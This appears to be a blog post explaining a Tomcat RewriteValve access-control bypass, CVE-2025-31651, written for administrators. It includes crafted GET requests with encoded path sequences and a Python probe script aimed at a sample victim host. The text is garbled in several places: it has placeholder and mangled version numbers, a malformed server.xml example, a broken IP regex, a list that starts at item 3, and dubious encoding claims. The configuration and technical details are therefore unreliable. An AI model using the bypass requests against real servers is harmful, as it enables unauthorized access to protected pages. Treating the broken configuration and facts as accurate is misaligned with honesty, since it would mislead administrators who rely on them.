Apache Tomcat is one of the world’s most popular Java web servers. This spring, security researchers found a serious flaw — CVE-2025-31651 — that affects how Tomcat handles rewrite rules and certain crafted HTTP requests. Bad actors could use this vulnerability to sidestep security constraints set up by site admins.
If you run a vulnerable Tomcat version and use the RewriteValve for access controls, read on to see how the exploit works and what you must do to stay safe.
What’s the CVE-2025-31651 Flaw?
In short, Tomcat isn’t correctly handling “escape,” “meta,” or “control” sequences in certain rare rewrite rule setups. That means carefully crafted HTTP requests can sneak past rewrite-based security rules—just as if there were no protection. If those rewrite rules are your last line of defense for sensitive pages or APIs, a hacker might access things they shouldn’t.
9...M1 to 9..102
Reference: Apache Tomcat Security Advisor
Re-route or deny requests based on patterns
…then you might be vulnerable, especially if your rules rely on precise string matching or pattern blocking.
Real World Example: How the Bypass Happens
Imagine you set up this rewrite valve rule to block anyone from accessing /private except localhost:
Your intended rule (conf/server.xml)
<Valve className="org.apache.catalina.valves.rewrite.RewriteValve" />
<Context>
<Valve className="org.apache.catalina.valves.rewrite.RewriteValve" />
<Host name="localhost" appBase="webapps">
<Context path="">
<RewriteValve>
RewriteCond %{REMOTE_ADDR} !^127\.\.\.1$
RewriteRule ^/private/ - [F]
</RewriteValve>
</Context>
</Host>
</Context>
You expect https://example.com/private/secret to be blocked except from localhost.
But an attacker discovers they can send a crafted request
GET //private/%2e./secret HTTP/1.1
Host: example.com
Or—even more subtle—
GET /private/%A/secret HTTP/1.1
Host: example.com
These special sequences, like %2e (dot), %A (newline), or other control codes, could be improperly decoded and skip your intended rewrite rule. The attacker is in.
Here’s a Python script (Python 3) that fakes such a request
import requests
url = 'http://victim.com/private/%2e./secret'; # try different sequences
response = requests.get(url)
if response.status_code == 200:
print("Vulnerable! Access granted.")
else:
print("Access denied. (May not be vulnerable)")
Swap in other encodings like %A (newline) or %09 (tab) to test various bypass methods.
Why Did This Work?
Tomcat’s rewrite logic didn’t fully normalize or block directory traversals or meta/control sequences on certain configurations. So, %2e. might be treated as “current directory,” decomposed and allowed, making /private/%2e./secret become /private/secret outside your block list.
9..[FIXED_VERSION]
3. Block strange URL sequences.
- Consider adding a WAF or Tomcat custom filter to reject URLs with %A, %D, %2e., and similar sequences.
Official References
- Apache Tomcat Security Advisory for CVE-2025-31651
- Tomcat RewriteValve Documentation
- NVD Entry (to be updated)
Summary
If your access controls depend on Tomcat’s rewrite rules, patch immediately! CVE-2025-31651 is a prime example of how “unlikely” settings can still lead to real-world problems. Always update, review your configs, and test with “weird” requests to see if your guardrails hold.
Stay safe and secure.
*Share this post with your friends or colleagues using Tomcat!*
Timeline
Published on: 04/28/2025 20:15:20 UTC
Last modified on: 05/05/2025 20:14:47 UTC